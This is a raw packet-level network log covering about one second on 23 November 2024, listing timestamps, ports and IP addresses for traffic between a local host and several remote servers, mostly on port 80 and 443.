Nov 23, 2024 21:59:16.607031107 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.607044935 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.607053041 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.610454082 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.610488892 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.610552073 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.610745907 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.610761881 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.612993956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.613054991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.613096952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.613243103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.617048979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.617115974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.617196083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.617278099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.623537064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.623627901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.623661041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.623661041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.632055044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.632106066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.632230043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.632282972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.640429020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.640480042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.640505075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.640547991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.648844004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.648890972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.648930073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.648981094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.742341995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.742408037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.742496967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.742595911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.746577024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.746628046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.746668100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.746717930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.755013943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.755080938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.755105019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.755120993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.761503935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.761558056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.761559963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.761595964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.769768000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.769841909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.769851923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.769887924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.814085007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.814177036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.814186096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.814232111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.818291903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.818358898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.818397999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.818464994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.826709986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.826807976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.826843977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.827043056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.835153103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.835244894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.835244894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.835294008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.843595028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.843616009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.843678951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.843710899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.851984978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.852108002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.852108955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.852157116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.860423088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.860441923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.860496044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.874099016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.874155998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.874157906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.874198914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.876935959 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:16.876986980 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:16.877325058 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:16.877852917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.877918005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.877943039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.877988100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.880458117 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:16.880486965 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:16.882868052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.882927895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.882967949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.883011103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.890398979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.890451908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.890527010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.890721083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.897876978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.897933960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.897999048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.943710089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.943773985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.943780899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.943964958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.945643902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.945703983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.945734978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.945780039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.952151060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.952198982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.952243090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.952287912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.958607912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.958684921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.958724976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.958770990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.965127945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.965225935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.965249062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.965295076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.971668005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.971724987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.971849918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.971955061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.978127003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.978195906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.978234053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.978281975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.984617949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.984667063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.984714985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.984757900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.991137981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.991189957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.991283894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.991513968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.997627020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.997966051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.024696112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.024768114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.024840117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.024887085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.026614904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.026689053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.026734114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.026865959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.030792952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.030857086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.030864000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.030904055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.034568071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.034621000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.034626007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.034661055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.038558960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.038644075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.038681984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.038804054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.042501926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.042628050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.044394016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.044450998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.046443939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.046490908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.047102928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.047154903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.050415993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.050710917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.050858974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.050915003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.054395914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.054459095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.055052996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.055118084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.170983076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.171022892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.171047926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.171084881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.172749043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.172794104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.172843933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.172883034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.176843882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.177133083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.177186966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.180692911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.180800915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.180851936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.181227922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.184684992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.184731007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.185554028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.185837030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.188625097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.188724995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.189023018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.189069033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.192583084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.192631006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.193131924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.193201065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.196557999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.196614981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.196717978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.196769953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.200516939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.200716972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.200767040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.204473972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.204530954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.204653978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.204694986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.208410978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.208584070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.208616972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.208616972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.212397099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.213083029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.213138103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.216351986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.216722965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.216773033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.220338106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.220637083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.220698118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.224277020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.224328995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.224992990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.225042105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.237512112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.237577915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.237809896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.237859011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.239170074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.239255905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.239260912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.239327908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.243113995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.243279934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.243280888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.243330002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.250202894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.250263929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.250308990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.250350952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.251698971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.251748085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.252428055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.252473116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.252516985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.252580881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.256227016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.256272078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.256409883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.256465912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.260056973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.260171890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.260709047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.260756016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.263837099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.263881922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.264123917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.264169931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.267637968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.267802000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.268069983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.268116951 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.268132925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.268172979 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:17.268395901 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.271470070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.271518946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.271694899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.271739960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.274800062 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.274887085 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:17.274950981 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.275343895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.275405884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.275476933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.275537014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.279028893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.279035091 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.279057980 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:17.279103994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.279138088 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.279149055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.279187918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.282883883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.282969952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.283164024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.283210993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.286650896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.286710024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.286860943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.286947966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.290493965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.290544033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.290966034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.291013956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.294272900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.294342995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.294612885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.294655085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.298074007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.298126936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.298280001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.298326015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.304575920 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.304613113 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:17.304629087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.304644108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.304676056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.304694891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.306298018 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.306310892 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:17.306348085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.306364059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.306413889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.306432009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.306729078 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.306742907 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:17.310866117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.310918093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.311691046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.311738968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.312897921 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.312932014 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:17.313002110 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.313338995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.313391924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.313842058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.313913107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.320527077 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:17.320543051 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:17.325874090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.326015949 CET	49714	80	192.168.2.6	185.215.113.206
